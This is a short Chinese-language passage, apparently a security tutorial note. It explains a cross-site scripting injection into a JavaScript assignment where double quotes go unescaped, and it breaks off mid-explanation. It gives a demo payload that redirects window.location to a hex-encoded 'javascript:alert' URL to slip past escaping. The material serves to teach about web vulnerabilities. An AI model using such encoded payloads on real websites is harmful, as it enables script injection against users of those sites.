1、可在js数组赋值时,插入动态参数 2、双引号没有被转义,其他字符转义不影响 测试demo vardemo={refreshPath:"http://127.0.0.1/"==[window["location"]="\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3a\x61\x6c\x65\x72\x74\x2815\x29"]==""} 1. 2. 3. 4. 5. 原理: ==, 两边值...